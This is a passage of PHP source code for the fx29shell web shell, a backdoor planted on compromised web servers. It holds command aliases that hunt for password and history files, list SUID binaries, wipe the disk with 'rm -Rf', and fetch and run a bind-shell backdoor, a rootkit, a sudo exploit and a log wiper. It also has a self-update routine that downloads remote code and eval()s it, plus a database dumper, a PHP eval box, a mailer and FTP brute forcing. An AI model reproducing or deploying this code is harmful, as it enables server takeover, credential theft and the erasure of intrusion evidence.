array("Find service.pwd files in current dir", "find . -type f -name
service.pwd"),
array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
array("Find .htpasswd files in current dir", "find . -type f -name
.htpasswd"),
array("Find all .bash_history files", "find / -type f -name
.bash_history"),
array("Find .bash_history files in current dir", "find . -type f
-name .bash_history"),
array("Find all .fetchmailrc files", "find / -type f -name
.fetchmailrc"),
array("Find .fetchmailrc files in current dir", "find . -type f -name
.fetchmailrc"),
array("List file attributes on a Linux second extended file system",
"lsattr -va"),
array("Show opened ports", "netstat -an | grep -i listen")
);
$cmdaliases2 = array(
array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf
fx.tgz"),
array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf
fxb.tgz"),
array("-----",""),
array("Logged in users","w"),
array("Last to connect","lastlog"),
array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/
sbin /usr/local/sbin -perm -4000 2> /dev/null"),
array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep
::"),
array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/
null"),
array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
array("CPU Info","cat /proc/version /proc/cpuinfo"),
array("Is gcc installed ?","locate gcc"),
array("Format box (DANGEROUS)","rm -Rf"),
array("-----",""),
array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/
UNIX/penetration/log-wipers/zap2.c"),
array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
array("Run WIPELOGS PT3","./zap2"),
array("-----",""),
array("wget RatHole 1.2 (Linux & BSD)","wget http://
packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf
bind.tgz;./4877"),
array("wget Sudo Exploit","wget http://www.securityfocus.com/data/
vulnerabilities/exploits/sudo-exploit.c"),
);
}
else {
$cmdaliases = array(
array("", "dir"),
array("Find index.php in current dir", "dir /s /w /b index.php"),
array("Find *config*.php in current dir", "dir /s /w /b
*config*.php"),
array("Find c99shell in current dir", "find /c \"c99\" *"),
array("Find r57shell in current dir", "find /c \"r57\" *"),
array("Find fx29shell in current dir", "find /c \"fx29\" *"),
array("Show active connections", "netstat -an"),
array("Show running services", "net start"),
array("User accounts", "net user"),
array("Show computers", "net view"),
);
}
//PHP Filesystem Functions, FaTaLisTiCz_Fx TriCkz
$phpfsaliases = array(
array("Read File", "read"),
array("Write File (PHP5)", "write"),
array("Copy", "copy"),
array("Rename/Move", "rename"),
array("Delete", "delete"),
array("Make Dir","mkdir"),
array("-----", ""),
array("Download", "download"),
array("Download (Binary Safe)", "downloadbin"),
array("Change Perm (0755)", "chmod"),
array("Find Writable Dir", "fwritabledir"),
array("Find Pathname Pattern", "glob"),
);
//Quick launch
$quicklaunch1 = array(
array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0
\">",$surl),
array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0
\">","#\" onclick=\"history.back(1)"),
array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\"
border=\"0\">","#\" onclick=\"history.go(1)"),
array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">
",$surl."act=ls&d=%upd&sort=%sort"),
array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border
=\"0\">",$surl."act=search&d=%d"),
array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border
=\"0\">",$surl."act=fsbuff&d=%d")
);
$quicklaunch2 = array(
array("Security Info",$surl."act=security&d=%d"),
array("Processes",$surl."act=processes&d=%d"),
array("MySQL",$surl."act=sql&d=%d"),
array("PHP-Code",$surl."act=eval&d=%d"),
array("Encoder",$surl."act=encoder&d=%d"),
array("Mailer",$surl."act=fxmailer"),
array("milw0rm it!",$millink),
array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
array("Toolz",$surl."act=tools&d=%d"),
array("Kill-Shell",$surl."act=selfremove"),
array("Feedback",$surl."act=feedback"),
array("Update",$surl."act=update"),
array("About",$surl."act=about")
);
if (!$win) {
$quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=
%d");
}
//Highlight-code colors
$highlight_background = "#C0C0C0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["fx29shcook"]);
/*** END OF CONFIGURATIONS ***/
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\
*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match
($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host
(".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER
["PHP_AUTH_PW"]) != $md5_pass)) {
header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\
"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img") {
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {
@ob_clean();
fx29sh_getupdate($selfwrite,1);
exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
if (!function_exists("fx29getsource")) {
function fx29getsource($fn) {
global $fx29sh_sourcesurl;
$array = array(
"fx29sh.php" => "fx29sh.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("fx29sh_getupdate")) {
function fx29sh_getupdate($update = TRUE) {
$url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode
(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else {
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error:
".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are
using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03") {
$string = explode("|",$string);
if ($update) {
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else {
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to
".__FILE__."! You may download fx29shell.php manually <a href=\
"".$sourceurl."\"><u>here</u></a>.";}
else {
fwrite($fp,$source);
fclose($fp);
return "Update completed!";
}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {
eval($string);
return 1;
}
else {return "Error in protocol: segmentation failed! (".$data.")
";}
}
}
}
if (!function_exists("fx29_buff_prepare")) {
function fx29_buff_prepare() {
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] =
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] =
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if
($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"]
[$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
fx29_buff_prepare();
if (!function_exists("fx29_sess_put")) {
function fx29_sess_put($data) {
global $sess_cookie;
global $sess_data;
fx29_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v) {
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save) {
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini")) {
function str2mini($content,$len) {
if (strlen($content) > $len) {
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
} else {return $content;}
}
}
if (!function_exists("view_size")) {
function view_size($size) {
if (!is_numeric($size)) { return FALSE; }
else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100
." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100
." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ."
KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir")) {
function fs_copy_dir($d,$t) {
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj")) {
function fs_copy_obj($d,$t) {
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .=
DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) { return copy($d,$t); }
else { return FALSE; }
}
}
if (!function_exists("fs_move_dir")) {
function fs_move_dir($d,$t) {
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj")) {
function fs_move_obj($d,$t) {
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .=
DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d)) {
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir")) {
function fs_rmdir($d) {
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj")) {
function fs_rmobj($o) {
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o)) {
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .=
DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("tabsort")) {
function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b
[$v]);}
}
if (!function_exists("view_perms")) {
function view_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?
"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?
"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?
"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array
("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return
FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array
("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return
FALSE;}}
if (!function_exists("posix_kill") and !in_array
("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms")) {
function parse_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o
["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g
["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w
["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort")) {
function parsesort($sort) {
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color")) {
function view_perms_color($o) {
if (!is_readable($o)) {return "<font color=red>".view_perms
(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms
(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</
font>";}
}
}
if (!function_exists("mysql_dump")) {
function mysql_dump($set) {
global $sh_ver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid
resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file)) {
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date
("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0) {
//Retrieve tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row
($res)) {$tabs[] = $row[0];}}
}
$out = "
# Dumped by ".$sh_name."
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv
("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------";
$c = count($onlytabs);
foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
//Receieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
//Receieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes
($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES
('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#
---------------------------------------------------------------------------------
\n\n";
if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else {
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere")) {
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all")) {
function mysql_fetch_all($query,$sock) {
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror")) {
function mysql_smarterror($type,$sock) {
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form")) {
function mysql_query_form() {
global
$submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!
$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</
b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {
echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\"
method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really
want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=
sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br>
<br><input type=hidden name=act value=sql><input type=hidden name=sql_act
value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars
($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=
hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input
type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\
"></form></td>";
if ($tbl_struct) {
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo
"+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='
`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query =
$sql_last_query;}
}
}
if (!function_exists("mysql_create_db")) {
function mysql_create_db($db,$sock="") {
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse")) {
function mysql_query_parse($query) {
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2) {
foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array
(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("fx29fsearch")) {
function fx29fsearch($d) {
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE) {
if($f != "." && $f != "..") {
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !==
FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f)) {
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f;
$found_d++;}
if (!is_link($d.$f)) {fx29fsearch($d.$f);}
}
else {
$search_i_f++;
if ($bool) {
if (!empty($a["text"])) {
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])."
";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]);
$r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile") {
if (is_dir($f)) { $act = "ls"; $d = $f; }
else { $act = "f"; $d = dirname($f); $f = basename($f); }
}
//Sending Headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown() {
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array
("img","download","notepad"))) {
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function fx29shexit() {
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
//Setting Temporary Dir
if (empty($tmpdir)) {
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .=
DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
//Getting Status
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=
#FF9900><b>".$disablefunc."</b></font>"; }
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}
//Getting Safe Mode Status
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=#3366FF><b>SAFE MODE is ON</b></font>";
}
else {
$safemode = FALSE;
$hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF</b></font>";
}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {
$openbasedir = TRUE;
$hopenbasedir = "<font color=red>".$v."</font>";
}
else {
$openbasedir = FALSE;
$hopenbasedir = "<font color=green>OFF (not secure)</font>";
}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE))
{$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\
"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></
b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) { $actbox = array(); }
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
//Directory
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");}
elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
/****************/
/** HTML START **/
/****************/
echo htmlhead($sh_ver);
echo "<table id=pagebar><tr><td width=50%><p>\n".
"$hsafemode<br>\n".
"Software : ".$DISP_SERVER_SOFTWARE ."<br>\n".
"Os : ".php_uname()."<br>\n";
if (!$win) { echo "User ID : ".fx29exec("id"); }
else { echo "User : " . get_current_user(); }
echo "\n</p></td>\n".
"<td width=50%><p>\n".
"Server IP : <a href=\"http://ws.arin.net/cgi-bin/whois.pl?
queryinput=".gethostbyname($_SERVER["HTTP_HOST"])."\">".gethostbyname
($_SERVER["HTTP_HOST"])."</a> ".
"Your IP : ".$_SERVER["REMOTE_ADDR"]."<br>\n";
if($win){ echo "Drives : ".disp_drives($d,$surl)."<br>\n"; }
echo "Freespace : ".disp_freespace($d)."\n";
echo "</p></td></tr>\n";
echo "<tr><td colspan=2><p>\n";
echo get_status()."<br>\n";
echo "Disabled Functions: ".showdisablefunctions()."\n";
echo "</td></tr>\n";
echo "<tr><td colspan=2 id=mainmenu>\n";
if (count($quicklaunch2) > 0) {
foreach($quicklaunch2 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
}
}
echo "</td>\n".
"<tr><td colspan=2 id=mainmenu>\n";
if (count($quicklaunch1) > 0) {
foreach($quicklaunch1 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
}
}
echo "</td></tr>\n<tr><td colspan=2>";
echo "<p class=fleft>\n";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
$t = ""; $j = 0;
foreach ($e as $r) {
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) { break; }
$j++;
}
echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">
<font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\
n";
$i++;
}
echo " - ";
if (is_writable($d)) {
$wd = TRUE;
$wdt = "<font color=#00FF00>[OK]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
$wd = FALSE;
$wdt = "<font color=red>[Read-Only]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
echo "\n</p>\n";
?>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo
$dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
/***********************/
/** INFORMATION TABLE **/
/***********************/
echo "<table id=maininfo><tr><td width=\"100%\">\n";
if ($act == "") { $act = $dspact = "ls"; }
if ($act == "sql") {
$sql_surl = $surl."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars
($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars
($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars
($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars
($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't
reports bugs.</h4>".
"<table>".
"<tr><td width=\"100%\" colspan=2 class=barheader>";
